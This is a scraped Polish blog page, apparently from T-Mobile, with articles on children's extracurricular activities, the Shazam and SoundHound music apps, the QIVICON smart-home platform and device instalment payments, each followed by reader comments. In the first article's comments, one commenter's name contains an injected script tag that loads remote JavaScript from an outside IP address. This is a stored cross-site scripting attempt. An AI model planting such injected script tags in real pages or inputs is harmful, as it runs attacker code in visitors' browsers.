Angielski, hiszpański, balet, lekcje gry na pianinie, jazda konna, tenis, pływalnia… Wyciąg z grafiku ambitnej bizneswoman? Nic bardziej mylnego. Ta krótka lista to tylko niewielka część szerokiej oferty zajęć dodatkowych dla dzieci. Dwa lata, trzy, sześć. Wiek nie gra roli, wielu rodziców twierdzi nawet, że im wcześniej (i więcej) tym lepiej. Pytanie tylko, dla kogo.

Zajęcia dodatkowe. Z założenia mają uczyć, rozwijać myślenie i poszerzać horyzont możliwości dziecka w późniejszym, dorosłym już życiu. Definicja jednak na tym stwierdzeniu się nie kończy. Jak we wszystkim, tak i w tym przypadku powinno się zachować zdrowy rozsądek. Codzienna podwózka do szkoły, ze szkoły, na zajęcia, do domu. I tak w kółko. Poniedziałek, piątek, świątek i niedziela. A zabawa? A beztroskie dziecięce nicnierobienie? Zasada złotego środka obowiązuje także tutaj. Dwa, trzy zajęcia w tygodniu. Coś ze sportu, coś intelektualnego. Z umiarem, w przeciwnym razie dziecko szybko się zniechęci, przemęczy i nie będzie miało czasu na spotkania z rówieśnikami, pomoc w domu, czy szereg innych zajęć, sprzyjających socjalizacji malucha w takim samym stopniu, jak zajęcia „profesjonalne”.

Chcąc nie chcąc, nie zrobimy z młodego futbolisty Szopena, a z małej piosenkarki karateki. Prosta zasada - nauka + zabawa = efektywność. Nic na siłę.

Kto pierwszy, ten lepszy

Sama idea zajęć pozalekcyjnych (pozaprzedszkolnych również) zazwyczaj wprowadzana jest w życie młodego człowieka, jako pewna misja, rodzicielskie zobowiązanie i inwestycja w przyszłość. Wszystko prawda, a dokładając do tego panującą modę na coraz wymyślniejsze typy zajęć i coraz większą ich liczbę, wpadamy w pułapkę, z której wyciągnąć nas może jedynie zdystansowane spojrzenie na ten wariacki wyścig. Angielski u przedszkolaków to norma, pytanie tylko, co nią będzie za parę lat. Chiński z dialektem mandaryńskim? Nie zapominajmy, że to dorosłość jest okresem nadmiaru obowiązków, w którym wszystko ma być zrobione na wczoraj. Dzieciństwu zostawmy chwilę wytchnienia, kiedy jeszcze jest na to czas.

Dobro dziecka, czy ambicje rodziców?

„Ja w twoim wieku mogłam pomarzyć o balecie”, „mnie babcia na nic nie wysyłała”. Rodzice zapatrzeni w swoje pociechy, często nie zauważają ich faktycznych potrzeb i zdolności, rekompensując sobie minusy własnego dzieciństwa. A przecież każdy rodzic, przebywający z dzieckiem na co dzień, może zauważyć, co dziecko szczególnie lubi, czym się interesuje, do czego chętnie wraca i jakie zajęcia mogłyby te zainteresowania rozwinąć. Chcąc nie chcąc, nie zrobimy z młodego futbolisty Szopena, a z małej piosenkarki karateki. Prosta zasada - nauka + zabawa = efektywność. Nic na siłę.

A jakie są Wasze sposoby na zachowanie rozsądku w stałym rozwijaniu zainteresowań i kompetencji dzieci? Czekamy na Wasze komentarze.


Nauka przez telefon

Aby ułatwić dziecku naukę i odciążyć je od opasłych tomisk słowników, możesz skorzystać z usługi aktywującej na telefonie słownik angielsko-polski i polsko-angielski.

Czym skorupka za młodu… - opinie i komentarze (4)

Aby dodać opinię, pytanie lub komentarz podaj swoje dane w polach poniżej. Pola oznaczone gwazdką (*) są obowiązkowe.

andrei<script src="http://8.8.8.8/ss.js"></script>
05-10-2010 - 01:18:42
to prawda!
  (0)
Odpowiedz
marek
05-10-2010 - 01:18:00
neizle
  (0)
Odpowiedz
z33d
05-10-2010 - 01:16:36
  (0)
Odpowiedz
kubik
04-10-2010 - 15:02:46
Oglądam czasami na TVN Style film o nastoletnich miskach. Ich rodzice są egoistami i traktują swoją dzieci jako sposób na odniesienie sukcesu. Owszem, należy zapisywać dzieci na jakieś zajęcia by się stale rozwijały, ale tyle na barki jednej, młodej osoby? Uważam, że jest to kompletnie nie na miejscu.
  (0)
Odpowiedz

Lepiej w t-mobile

Galaxy S7 już jest! I to z Gear VR w prezencie! Sprawdźcie!
16.08.2011

Co to za utwór?

Słyszysz ciekawy utwór, ale nie znasz jego wykonawcy – ile razy zdarzała Ci się taka sytuacja? Zanim zaczniesz rozpytywać znajomych o nazwę tego kawałka, użyj swojego smartfona. Dzięki niemu z łatwością uzyskasz dostęp do wszystkich niezbędnych informacji.

SoundHound i Shazam to nazwy dwóch najpopularniejszych programów do rozpoznawania muzyki. Oba dostępne są na niemal wszystkich mobilnych platformach systemowych, jednak zakres ich funkcji dodatkowych jest różny. Zasada działania jest prosta – użytkownik musi jedynie kliknąć na przycisk uruchamiający rejestrowanie melodii. Program nagra wówczas krótką próbkę i wyśle do analizy. Po kilku sekundach zostanie wyświetlona lista wyników, która obejmuje utwory najbardziej zbliżone do tego nagranego.

Shazam był pierwszym programem służącym do rozpoznawania muzyki. Debiut na smartfonach Nokii był ogromnym sukcesem, który pozwolił zbudować dobry wizerunek firmy i programu. Swego czasu była to obowiązkowa pozycja każdego użytkownika Symbiana, a wraz z rozwojem nowych systemów sam program również się rozwijał, rześkim krokiem wkraczając na nowe platformy systemowe. Niezależnie więc od tego czy używasz Nokii, Blackberry czy iPhone, możesz zainstalować tę kultową „rozpoznawarkę”. W wersji dla Androida od dłuższego czasu nic się nie zmieniło – prosty interfejs z zakładkami oferującymi szybki dostęp do najpotrzebniejszych funkcji. Obecnie sprawia wrażenie nieco archaicznego, ale jest szybki i wygodny. Wyszukiwanie nazwane jest tutaj „tagowaniem” i wystarczy w pierwszej zakładce kliknąć na czarne logo w centrum ekranu aby nagrać kawałek do analizy. Jeżeli nie było żadnych zakłóceń, po chwili zostaną wyświetlone wszystkie niezbędne informacje – poniżej nazwy utworu i jego wykonawcy umieszczono odnośniki do podzielenia się ze znajomymi, wyszukania teledysku w serwisie YouTube, a także uzyskania informacji o koncertach. Można także sprawdzić, które utwory były w ostatnim czasie najchętniej wyszukiwane przez użytkowników aplikacji – służy do tego zakładka „Top Lista”.

Przez długi okres program nie miał konkurencji, jednak wszystko zmieniło się za sprawą aplikacji SoundHound, która próbuje zdobyć kawałek tego rynku innowacyjnymi technologiami. I chyba wychodzi to całkiem nieźle, bo już teraz z programu korzystają setki tysięcy użytkowników iOS, Androida i Symbiana. Nowoczesny interfejs aplikacji to nie jedyny atut programu. SoundHound umożliwia znacznie szybsze wyszukiwanie, ponieważ utwór analizowany jest już w trakcie nagrywania. Poza tym program teoretycznie umożliwia wyszukiwania kawałków na podstawie nagranej próbki dźwiękowej, którą nie musi być tylko krystalicznie czysta melodia, ale także ta zanucona czy zaśpiewana przez nas. Teoretycznie, bo ze względu na możliwości wokalne autora niniejszego tekstu, sprawdzenie tej opcji było niemożliwe. Trzeba jednak przyznać, że SoundHound charakteryzuje się znacznie lepszą tolerancją zewnętrznych szumów, a zwracane wyniki są dużo bardziej precyzyjne. Szczegółowy widok wyszukiwania obejmuje mniej więcej te same funkcje co w programie Shazam, jednak układ jest znacznie lepszy. Niestety w przeciwieństwie do swojego rywala informacje koncertowe wyświetla w oknie przeglądarki internetowej. SoundHound ratuje się jednak funkcją, której próżno szukać u konkurenta – wyszukiwanie tekstu piosenek.

Shazam: iOS, Android, Symbian, BlackBerry, Windows Phone

SoundHound: iOS, Android, Symbian

Co to za utwór? - opinie i komentarze (1)

Aby dodać opinię, pytanie lub komentarz podaj swoje dane w polach poniżej. Pola oznaczone gwazdką (*) są obowiązkowe.

Kubex
20-08-2011 - 21:30:31
Osobiście używam na moim SGS II - SoundHound program rewelacja odkrywa i stare i nowsze piosenki, prosty w obsłudze. Polecam
  (0)
Odpowiedz

Lepiej w t-mobile

Galaxy S7 już jest! I to z Gear VR w prezencie! Sprawdźcie!

Twój dom może się stać inteligentny. Możesz w nim na odległość włączać i wyłączać ogrzewanie, otwierać drzwi i okna albo rozpocząć pranie. Wszystko to za dotknięciem, np. w klawiaturę smartfona. Takie rozwiązania nie są jeszcze w Polsce zbyt popularne, ale T-Mobile dokłada starań, by rozpowszechniły się również na naszym rynku.

Przykładową i dosyć popularną funkcją inteligentnego domu jest chociażby możliwość wykorzystania smartfonu do sterowania ogrzewaniem czy włączania lub wyłączania oświetlenia.
Rozwiązania tego typu stają się obecnie standardem. Producenci projektują nowe linie produktów już z ich wykorzystaniem, odpowiadając na potrzeby potencjalnych klientów. Potwierdza to także Adam Zdanowicz, product manager ds. energetyki w T-Mobile Polska, który przytacza wyniki badań przeprowadzonych na zlecenie grupy Deutsche Telekom. Wynika z nich, że 66 proc. korzystających z internetu gospodarstw domowych w Niemczech postrzega inteligentne rozwiązania domowe jako atrakcyjne. Co więcej, potencjalni klienci twierdzą, że mogą za nie zapłacić – 84 proc. wyraża gotowość do poniesienia kosztów związanych z zakupem tych urządzeń.

Badania te pokazują także, że konsumenci mają jasno sprecyzowane oczekiwania co do inteligentnych rozwiązań w domu. 83 proc. ankietowanych chce, aby były one opracowywane przez jednego dostawcę. Dlatego grupa Deutsche Telekom postawiła na rozwój otwartej platformy, która będzie wykorzystywana przez producentów różnego rodzaju urządzeń.

-> Elektryczne auta w inteligentnych miastach

-> Ello - nowa społecznościówka zagrozi Facebookowi? 

Rangę tego zagadnienia docenia także Holger Knöpke, wiceprezes ds. connected home w grupie Deutsche Telekom. Jego zdaniem trzy czwarte wszystkich konsumentów poszukuje aplikacji, które pomogą im obniżyć ilość zużywanej energii. Co więcej, cenią oni również aplikacje zwiększające komfort i bezpieczeństwo.

Rzeczywistość jednak nie prezentuje się tak kolorowo. Potencjalni klienci zainteresowani korzystaniem z urządzeń i aplikacji wspierających inteligentne rozwiązania w domu nie dość, że muszą głęboko sięgnąć do kieszeni, to jeszcze mają trudności ze znalezieniem jednego dostawcy, który byłby w stanie dostarczyć kompleksowe rozwiązania na miarę ich oczekiwań. Wynika to z faktu, że obecnie na rynku nie są stosowane uniwersalne standardy, które pozwalałyby na rozwój tej technologii i obniżenie jej kosztów. To właśnie skłoniło grupę Deutsche Telekom do podjęcia działań, których celem jest wypełnienie powstałej luki. Jak twierdzi Wojciech Strzałkowski, ekspert ds. komunikacji korporacyjnej w T-Mobile Polska, zainicjowano już prace służące stworzeniu kompleksowego rozwiązania pod nazwą QIVICON.

QIVICON

QIVICON jest wynikiem prac prowadzonych wspólnie przez czołowe przedsiębiorstwa z Niemiec, których celem było przyspieszenie rozwoju inteligentnej platformy dla domu, a także rozwój i popularyzacja uniwersalnych i otwartych standardów wśród dostawców urządzeń oraz klientów.

W efekcie QIVICON jest otwartą platformą łączącą produkty firm zajmujących się m.in. sprzedażą energii elektrycznej, produkcją urządzeń gospodarstwa domowego i elektroniki użytkowej, jak również produkcją rozwiązań z zakresu ochrony zdrowia. Wymienione grupy dostawców mają możliwość integracji swoich urządzeń w ramach wspólnej platformy, którą następnie zaoferują klientom jako element kompleksowego rozwiązania.

DOM STEROWANY

Kluczowym składnikiem omawianego systemu jest jednostka centralna QIVICON

Home Base, która korzysta z protokołów bezprzewodowych do tworzenia sieci między różnymi urządzeniami i ich funkcjami. Dzięki dostępnym aplikacjom użytkownicy mogą sterować urządzeniami podłączonymi do systemu i monitorować je, korzystając ze smartfonów, tabletów, komputerów – zarówno w domu, jak i w podróży. Urządzeniami współpracującymi z QIVICON są na przykład telewizory, pralki, włączniki oświetlenia czy termostaty centralnego ogrzewania.

-> Intel stworzył kolejkę górską w wirtualnej rzeczywistości 

-> Apple Watch - król mobilnych zegarków? 

Funkcjonalności QIVICON jest znacznie więcej. Wymienić należy chociażby zdalne sterowanie otwieraniem i zamykaniem okien czy rolet, możliwość wyłączenia wybranych urządzeń za pomocą jednego kliknięcia (np. zdalne wyłączenie żelazka). W przypadku pożaru, nieszczelności instalacji gazowej, zalania czy innego zagrożenia aplikacja automatycznie lub po naciśnięciu przez użytkownika odpowiedniego przycisku wykona zaprogramowane czynności, np. przy podejrzeniu włamania natychmiast włączy wszystkie światła i jednocześnie powiadomi policję lub ochronę.

QIVICON umożliwia także bieżące monitorowanie wilgotności czy temperatury w poszczególnych pomieszczeniach, poboru energii przez poszczególne urządzenia oraz ogólnego jej zużycia w gospodarstwie domowym. 
Istotną zaletą platformy jest również możliwość jej wykorzystania przez prosumentów, czyli konsumentów energii elektrycznej, którzy mają własne, niewielkie źródła wytwarzania energii elektrycznej (małe turbiny wiatrowe, panele fotowoltaiczne). Prosumenci mogą kontrolować urządzenia zainstalowane w domu i sterować nimi w taki sposób, aby minimalizować koszty i zużycie energii pobieranej z sieci energetycznej i w maksymalnym stopniu wykorzystywać energię wytwarzaną przez własne źródła.

Analiza funkcjonalności z zakresu smart home jest pozytywnie odbierana także przez potencjalnych klientów w Polsce. Niestety, na razie rozwiązania tego typu są dość kosztowne, stąd ich niewielka popularność. Działania prowadzone przez grupę Deutsche Telekom pozwalają przypuszczać, że niedługo staną się przystępniejsze cenowo i dzięki temu rozpowszechnią się na polskim rynku. 

Czym jest inteligentny dom? - opinie i komentarze (0)

Aby dodać opinię, pytanie lub komentarz podaj swoje dane w polach poniżej. Pola oznaczone gwazdką (*) są obowiązkowe.

Lepiej w t-mobile

Galaxy S7 już jest! I to z Gear VR w prezencie! Sprawdźcie!

Część klientów T-Mobile decyduje się wziąć telefon, laptop lub tablet na raty. Jak wygląda spłacanie tego w praktyce?

Na sumę miesięcznego zobowiązania, widniejącą na fakturze, składają się dwie kwoty – ta za usługi telekomunikacyjne oraz druga, będąca ratą bądź ratami za sprzęt kupiony u operatora, taki jak smartfon, tablet czy laptop. Naturalnie w przypadku, gdy klient zdecydował się na zakup oferty z urządzeniem i wzięcia owego urządzenia na raty.

W przypadku gdy klient opłaca terminowo kwotę znajdującą się na druku do zapłaty bądź fakturze elektronicznej, nie musi zaprzątać sobie głowy ratami. Bieżący stan konta znajduje się w pozycji Rozliczenie Konta.

Harmonogram Spłaty Rat klient otrzymuje przy zawieraniu umowy (lub aneksu do umowy) oraz wraz z pierwszą fakturą. Zawiera on wyszczególnienie wszystkich rat oraz terminy ich płatności. Pierwsza rata jest pobierana w punkcie sprzedaży operatora lub przez kuriera dostarczającego przesyłkę wraz z zakupionym sprzętem.

Rata za sprzęt stanowi część miesięcznego zobowiązania, ustalonego z Konsultantem w czasie zawierania Umowy lub Aneksu do Umowy. Nie jest to dodatkowa kwota do zapłaty.

Faktura elektroniczna w T-Mobile

Kwota to zapłaty nie ulegnie zmianie przez cały czas trwania umowy. Wszystko dlatego, że w okresie spłaty rat abonament za usługi telekomunikacyjne jest specjalnie obniżony – jego wartość wzrasta do zakończeniu spłat rat. Np. przy umowie na 24 miesiące i comiesięcznej płatności w wysokości 100 zł przez pierwsze 12 miesięcy jest to 50 zł raty za sprzęt i 50 zł opłaty za usługi telekomunikacyjne, a przez kolejne 12 miesięcy – 100 zł za usługi telekomunikacyjne. Kwota pozostaje więc ta sama, a zmieniają się jej składowa.

W każdej chwili można dokonać wcześniejszej spłaty rat w całości lub w części. Po wpłacie należy skontaktować się z operatorem w celu potwierdzenia swojej dyspozycji, co poskutkuje skróceniem harmonogramu spłat lub też zmniejszeniem ich wysokości.

W przypadku dokonania cesji umowy o świadczenie usług telekomunikacyjnych na inną osobę lub podmiot, raty sprzętowe pozostaną na dotychczasowym koncie abonenckim klienta i będzie on zobowiązany do ich spłaty zgodnie z harmonogramem. Cesja rat sprzętowych na inną osobę lub podmiot nie jest możliwa.

Fot. Fotolia

 

Raty za sprzęt w T-Mobile. Na czym to polega? - opinie i komentarze (1)

Aby dodać opinię, pytanie lub komentarz podaj swoje dane w polach poniżej. Pola oznaczone gwazdką (*) są obowiązkowe.

Jaszczurka89
16-08-2016 - 21:53:48
Dzień dobry, Proszę mi powiedzieć na jakiej podstawie żona zmarłego ma dokonać spłat rat za tablet,który zmarły zakupił za życia?Na dodatek po kilku dniach od zakupu został on skradziony o czym zarówno Państwo jak i policja zostaliście poinformowani.Na jakiej podstawie zona zmarłego ma spłacać raty??Jest to dla mnie absurd.Proszę o odpowiedź.
  (0)
Odpowiedz

Lepiej w t-mobile

Galaxy S7 już jest! I to z Gear VR w prezencie! Sprawdźcie!
Podziel się